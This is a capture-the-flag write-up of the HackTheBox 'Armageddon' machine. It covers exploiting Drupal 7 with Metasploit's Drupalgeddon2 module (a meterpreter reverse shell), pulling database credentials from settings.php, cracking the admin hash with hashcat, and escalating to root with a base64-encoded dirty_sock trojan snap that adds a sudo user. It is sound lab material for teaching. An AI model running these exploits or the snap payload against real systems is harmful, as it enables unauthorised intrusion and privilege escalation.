Armageddon Writeup
Reconnaissance & Enumeration
Like always, starting off with port enumeration.
sudo nmap -v -sC -sV -oN nmap -p- armageddon.htb
Scan report:
# Nmap 7.91 scan initiated Sat Mar 27 22:00:11 2021 as: nmap -v -sC -sV -oN nmap -p- armageddon.htb
Nmap scan report for armageddon.htb (10.10.10.233)
Host is up (0.063s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon"
Looks like there isn’t anything out of ordinary, just the usual SSH and a web service on port 80.
Getting user
Visiting the website shows a login page with the option to register an account
Looking at the source code of the page we can see that it uses Drupal 7, so let’s see what we can find about it.
After a little googling I’ve found a possible metasploit module to exploit the CMS.
Let’s try if we can get initial shell using this module.
msf6 > search drupal 7
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
1 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
3 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
4 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
5 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
6 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval
msf6 > use 4
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS armageddon.htb
RHOSTS => armageddon.htb
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.15.9
LHOST => 10.10.15.9
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.15.9:4444
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.15.9:4444 -> 10.10.10.233:58262) at 2021-03-28 23:03:08 +0100
meterpreter >
Nice, we have a shell. After getting the initial shell, I read about how Drupal 7 works and where it stores the sensitive information.
It turns out, that Drupal has a settings.php
in the sites/default
directory.
Let’s see if we can get something from the file.
meterpreter > ls
Listing: /var/www/html/sites/default
====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 26250 fil 2017-06-21 19:20:18 +0100 default.settings.php
40775/rwxrwxr-x 37 dir 2020-12-03 12:32:39 +0000 files
100444/r--r--r-- 26565 fil 2020-12-03 12:32:37 +0000 settings.php
meterpreter > cat settings.php
<?php
...
* @endcode
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
...
meterpreter >
In the settings.php
we can find the credentials to the mysql database of the target machine.
Let’s see what is inside the database.
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
Database
information_schema
drupal
mysql
performance_schema
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;show tables'
Tables_in_drupal
actions
...
url_alias
users
users_roles
...
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;select * from users;'
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
After listing the rows of the users table in the drupal database, I’ve found the hashed password of the brucetherealadmin
user.
To crack the password I’ve used hashcat with the hash-mode: 7900 and the rockyou wordlist.
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Armageddon]
└─$ hashcat -m 7900 hash --show
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Using these credentials, we can access the target machine through SSH.
Getting root
I’ve started with basic priv. esc. enumeration.
Listing the allowed sudo commands we find out that we can run the following command as sudo without authentication: /usr/bin/snap install *
ssh brucetherealadmin@armageddon.htb
Warning: Permanently added the ECDSA host key for IP address '10.129.90.1' to the list of known hosts.
brucetherealadmin@armageddon.htb's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$
Looking up similar exploitations I’ve found the dirty_sock (GitHub) Linux Privilege Escalation.
It wasn’t that easy though. The method described in the article won’t give us root access but we can use some parts of the python tool.
The trojan snap payload is perfect for us, so let’s build the .snap
file using the dirty_sockv2.py
file.
The following command will create the snap file that we’ll install on the target machine.
python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAAAwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiAPiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5qumvhFkbY5Pr4ba1mk4lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkcMA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"\*4256 + "=="' | base64 -d > exploit.snap
Now that we have created the snap package let’s install it.
[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install ./exploit.snap
error: cannot find signatures with metadata for snap "./exploit.snap"
[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode ./exploit.snap
dirty-sock 0.1 installed
The payload leverages the vulnerability to install an empty “devmode” snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands.
After the installation we should have a user called dirty_sock
. The password of the user is also dirty_sock
.
Using this newly created user we can easily get root access and grab the flag:
[brucetherealadmin@armageddon ~]$ su dirty_sock
Password:
[dirty_sock@armageddon brucetherealadmin]$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dirty_sock:
[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]#